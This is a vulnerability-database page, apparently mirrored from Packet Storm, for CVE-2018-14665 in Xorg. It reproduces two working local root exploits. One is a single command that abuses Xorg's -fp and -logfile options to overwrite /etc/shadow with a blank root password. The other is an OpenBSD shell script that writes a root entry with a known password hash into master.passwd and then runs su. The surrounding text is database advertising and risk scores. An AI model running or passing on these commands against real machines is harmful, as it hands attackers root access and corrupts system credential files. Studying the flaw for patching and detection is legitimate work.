Lucene search
K

xorg-x11-server Local Privilege Escalation

🗓️ 25 Oct 2018 00:00:00Reported by Hacker FantasticType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 150 Views

Xorg-x11-server Local Privilege Escalation via CVE-2018-14665 exploi

Related
Code
`#CVE-2018-14665 - a LPE exploit via http://X.org fits in a tweet  
  
cd /etc; Xorg -fp "root::16431:0:99999:7:::" -logfile shadow :1;su  
  
Overwrite shadow (or any) file on most Linux, get root privileges. *BSD and any other Xorg desktop also affected.  
  
  
  
  
  
#!/bin/sh  
# local privilege escalation in X11 currently  
# unpatched in OpenBSD 6.4 stable - exploit  
# uses cve-2018-14665 to overwrite files as root.   
# Impacts Xorg 1.19.0 - 1.20.2 which ships setuid  
# and vulnerable in default OpenBSD.  
#  
# - https://hacker.house  
echo [+] OpenBSD 6.4-stable local root exploit  
cd /etc  
Xorg -fp 'root:$2b$08$As7rA9IO2lsfSyb7OkESWueQFzgbDfCXw0JXjjYszKa8Aklt5RTSG:0:0:daemon:0:0:Charlie &:/root:/bin/ksh' -logfile master.passwd :1 &  
sleep 5  
pkill Xorg  
echo [-] dont forget to mv and chmod /etc/master.passwd.old back   
echo [+] type 'Password1' and hit enter for root  
su -  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Oct 2018 00:00Current
0.4Low risk
Vulners AI Score0.4
EPSS0.16034
150